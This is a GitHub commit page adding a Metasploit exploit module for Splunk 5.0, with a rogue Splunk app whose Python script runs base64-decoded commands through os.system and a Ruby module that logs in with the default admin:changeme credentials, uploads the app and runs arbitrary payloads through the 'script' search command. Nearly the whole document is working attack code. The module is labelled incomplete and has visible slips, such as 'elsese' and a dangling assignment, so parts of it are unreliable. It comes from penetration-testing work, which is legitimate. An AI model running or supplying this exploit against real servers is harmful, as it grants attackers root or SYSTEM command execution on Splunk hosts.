Skip to content

Commit c08ee69

Browse files
committed
Merge branch 'splunk_upload_app_exec_cleanup' of git://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-splunk_upload_app_exec_cleanup
2 parents fafdcba + e5cc950 commit c08ee69

File tree

6 files changed

+348
-0
lines changed

6 files changed

+348
-0
lines changed
687 Bytes
Binary file not shown.
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
import sys
2+
import base64
3+
import splunk.Intersplunk
4+
5+
results = []
6+
7+
try:
8+
sys.modules['os'].system(base64.b64decode(sys.argv[1]))
9+
10+
except:
11+
import traceback
12+
stack = traceback.format_exc()
13+
results = splunk.Intersplunk.generateErrorResults("Error : Traceback: " + str(stack))
14+
15+
splunk.Intersplunk.outputResults(results)
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
[launcher]
2+
author=Marc Wickenden
3+
description=Metasploit module spunk_upload_app_exec.rb
4+
version=1.3.3.7
5+
6+
[ui]
7+
is_visible = true
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
[msf_exec]
2+
type = python
3+
filename = msf_exec.py
4+
local = false
5+
enableheader = false
6+
streaming = false
7+
perf_warn_limit = 0
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
[commands]
2+
export = system
Lines changed: 317 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,317 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => '[INCOMPLETE] Splunk 5.0 Custom App Remote Code Execution',
18+
'Description' => %q{
19+
This module exploits a feature of Splunk whereby a custom application can be
20+
uploaded through the web based interface. Through the 'script' search command a
21+
user can call commands defined in their custom application which includes arbitrary
22+
perl or python code. To abuse this behavior, a valid Splunk user with the admin
23+
role is required. By default, this module uses the credential of "admin:changeme",
24+
the default Administrator credential for Splunk. Note that the Splunk web interface
25+
runs as SYSTEM on Windows, or as root on Linux by default. This module has only
26+
been tested successfully against Splunk 5.0.
27+
},
28+
'Author' =>
29+
[
30+
"@marcwickenden", # discovery and metasploit module
31+
"sinn3r", # metasploit module
32+
"juan vazquez", # metasploit module
33+
],
34+
'License' => MSF_LICENSE,
35+
'References' =>
36+
[
37+
[ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ],
38+
[ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ],
39+
[ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ]
40+
],
41+
'Payload' =>
42+
{
43+
'Space' => 1024,
44+
'DisableNops' => true
45+
},
46+
'Platform' => ['unix', 'win', 'linux'],
47+
'Targets' =>
48+
[
49+
[ 'Splunk 5.0.1 / Linux',
50+
{
51+
'Arch' => ARCH_CMD,
52+
'Platform' => [ 'linux', 'unix' ]
53+
}
54+
],
55+
[ 'Splunk 5.0.1 / Windows',
56+
{
57+
'Arch' => ARCH_CMD,
58+
'Platform' => 'win'
59+
}
60+
]
61+
],
62+
'DefaultTarget' => 0,
63+
'DisclosureDate' => 'Sep 27 2012'))
64+
65+
register_options(
66+
[
67+
Opt::RPORT(8000),
68+
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
69+
OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]),
70+
OptPath.new('SPLUNK_APP_FILE',
71+
[
72+
true,
73+
'The "rogue" Splunk application tgz',
74+
File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz')
75+
])
76+
], self.class)
77+
78+
register_advanced_options(
79+
[
80+
OptBool.new('ReturnOutput', [ true, 'Display command output', false ]),
81+
OptBool.new('DisableUpload', [ true, 'Disable the app upload if you have already performed it once', false ]),
82+
OptBool.new('EnableOverwrite', [true, 'Overwrites an app of the same name. Needed if you change the app code in the tgz', false]),
83+
OptInt.new('CommandOutputDelay', [true, 'Seconds to wait before requesting command output from Splunk', 5])
84+
], self.class)
85+
end
86+
87+
def exploit
88+
# process standard options
89+
@username = datastore['USERNAME']
90+
@password = datastore['PASSWORD']
91+
file_name = datastore['SPLUNK_APP_FILE']
92+
93+
# process advanced options
94+
return_output = datastore['ReturnOutput']
95+
disable_upload = datastore['DisableUpload']
96+
@enable_overwrite = datastore['EnableOverwrite']
97+
command_output_delay = datastore['CommandOutputDelay']
98+
99+
# set up some variables for later use
100+
@auth_cookies = ''
101+
@csrf_form_key = ''
102+
app_name = 'upload_app_exec'
103+
p = payload.encoded
104+
print_status("Using command: #{p}")
105+
cmd = Rex::Text.encode_base64(p)
106+
107+
# log in to Splunk (if required)
108+
do_login
109+
110+
# fetch the csrf token for use in the upload next
111+
do_get_csrf('/en-US/manager/launcher/apps/local')
112+
113+
unless disable_upload
114+
# upload the arbitrary command execution Splunk app tgz
115+
do_upload_app(app_name, file_name)
116+
end
117+
118+
# get the next csrf token from our new app
119+
do_get_csrf("/en-US/app/#{app_name}/flashtimeline")
120+
121+
# call our command execution function with the Splunk 'script' command
122+
print_status("Invoking script command")
123+
res = send_request_cgi(
124+
{
125+
'uri' => '/en-US/api/search/jobs',
126+
'method' => 'POST',
127+
'cookie' => @auth_cookies,
128+
'headers' =>
129+
{
130+
'X-Requested-With' => 'XMLHttpRequest',
131+
'X-Splunk-Form-Key' => @csrf_form_key
132+
},
133+
'vars_post' =>
134+
{
135+
'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf
136+
'status_buckets' => "300",
137+
'namespace' => "#{app_name}",
138+
'ui_dispatch_app' => "#{app_name}",
139+
'ui_dispatch_view' => "flashtimeline",
140+
'auto_cancel' => "100",
141+
'wait' => "0",
142+
'required_field_list' => "*",
143+
'adhoc_search_level' => "smart",
144+
'earliest_time' => "0",
145+
'latest_time' => "",
146+
'timeFormat' => "%s.%Q"
147+
}
148+
})
149+
150+
if return_output
151+
res.body.match(/data":\ "([0-9.]+)"/)
152+
job_id = $1
153+
154+
# wait a short time to let the output be produced
155+
print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
156+
select(nil,nil,nil,command_output_delay)
157+
job_output = fetch_job_output(job_id)
158+
if job_output.body.match(/Waiting for data.../)
159+
print_status("No output returned in time")
160+
elsese
161+
output = ""
162+
job_output.body.each_line do |line|
163+
# strip off the leading and trailing " added by Splunk
164+
line.gsub!(/^"/,"")
165+
line.gsub!(/"$/,"")
166+
output << line
167+
end
168+
169+
# return the output
170+
print_status("Command returned:")
171+
print_line output
172+
end
173+
else
174+
handler
175+
end
176+
end
177+
178+
def check
179+
# all versions are actually "vulnerable" but check implemented for future proofing
180+
# and good practice
181+
res = send_request_cgi(
182+
{
183+
'uri' => '/en-US/account/login',
184+
'method' => 'GET'
185+
}, 25)
186+
187+
if res and res.body =~ /Splunk Inc\. Splunk/
188+
return Exploit::CheckCode::Appears
189+
else
190+
return Exploit::CheckCode::Safe
191+
end
192+
end
193+
194+
def do_login
195+
print_status("Authenticating...")
196+
# this method borrowed with thanks from splunk_mappy_exec.rb
197+
res = send_request_cgi(
198+
{
199+
'uri' => '/en-US/account/login',
200+
'method' => 'GET'
201+
})
202+
203+
cval = ''
204+
uid = ''
205+
session_id_port =
206+
session_id = ''
207+
if res and res.code == 200
208+
res.headers['Set-Cookie'].split(';').each {|c|
209+
c.split(',').each {|v|
210+
if v.split('=')[0] =~ /cval/
211+
cval = v.split('=')[1]
212+
elsif v.split('=')[0] =~ /uid/
213+
uid = v.split('=')[1]
214+
elsif v.split('=')[0] =~ /session_id/
215+
session_id_port = v.split('=')[0]
216+
session_id = v.split('=')[1]
217+
end
218+
}
219+
}
220+
else
221+
fail_with(Exploit::Failure::NotFound, "Unable to get session cookies")
222+
end
223+
224+
res = send_request_cgi(
225+
{
226+
'uri' => '/en-US/account/login',
227+
'method' => 'POST',
228+
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
229+
'vars_post' =>
230+
{
231+
'cval' => cval,
232+
'username' => @username,
233+
'password' => @password
234+
}
235+
})
236+
237+
if not res or res.code != 303
238+
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate")
239+
else
240+
session_id_port = ''
241+
session_id = ''
242+
res.headers['Set-Cookie'].split(';').each {|c|
243+
c.split(',').each {|v|
244+
if v.split('=')[0] =~ /session_id/
245+
session_id_port = v.split('=')[0]
246+
session_id = v.split('=')[1]
247+
end
248+
}
249+
}
250+
@auth_cookies = "#{session_id_port}=#{session_id}"
251+
end
252+
end
253+
254+
def do_upload_app(app_name, file_name)
255+
archive_file_name = ::File.basename(file_name)
256+
print_status("Uploading file #{archive_file_name}")
257+
file_data = ::File.open(file_name, "rb") { |f| f.read }
258+
259+
boundary = '--------------' + rand_text_alphanumeric(6)
260+
261+
data = "--#{boundary}\r\n"
262+
data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n\r\n"
263+
data << "#{@csrf_form_key}"
264+
data << "\r\n--#{boundary}\r\n"
265+
266+
if @enable_overwrite
267+
data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
268+
data << "1"
269+
data << "\r\n--#{boundary}\r\n"
270+
end
271+
272+
data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
273+
data << "Content-Type: application/x-compressed\r\n\r\n"
274+
data << file_data
275+
data << "\r\n--#{boundary}--\r\n"
276+
277+
res = send_request_cgi({
278+
'uri' => '/en-US/manager/appinstall/_upload',
279+
'method' => 'POST',
280+
'cookie' => @auth_cookies,
281+
'ctype' => "multipart/form-data; boundary=#{boundary}",
282+
'data' => data
283+
}, 30)
284+
285+
if (res and (res.code == 303 or (res.code == 200 and res.body !~ /There was an error processing the upload/)))
286+
print_status("#{app_name} successfully uploaded")
287+
else
288+
fail_with(Exploit::Failure::Unknown, "Error uploading")
289+
end
290+
end
291+
292+
def do_get_csrf(uri)
293+
print_status("Fetching csrf token from #{uri}")
294+
res = send_request_cgi(
295+
{
296+
'uri' => uri,
297+
'method' => 'GET',
298+
'cookie' => @auth_cookies
299+
})
300+
res.body.match(/FORM_KEY":\ "(\d+)"/)
301+
@csrf_form_key = $1
302+
fail_with(Exploit::Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
303+
end
304+
305+
def fetch_job_output(job_id)
306+
# fetch the output of our job id as csv for easy parsing
307+
print_status("Fetching job_output for id #{job_id}")
308+
res = send_request_raw(
309+
{
310+
'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
311+
'method' => 'GET',
312+
'cookie' => @auth_cookies,
313+
'encode_param' => 'false'
314+
})
315+
end
316+
317+
end

0 commit comments

Comments
 (0)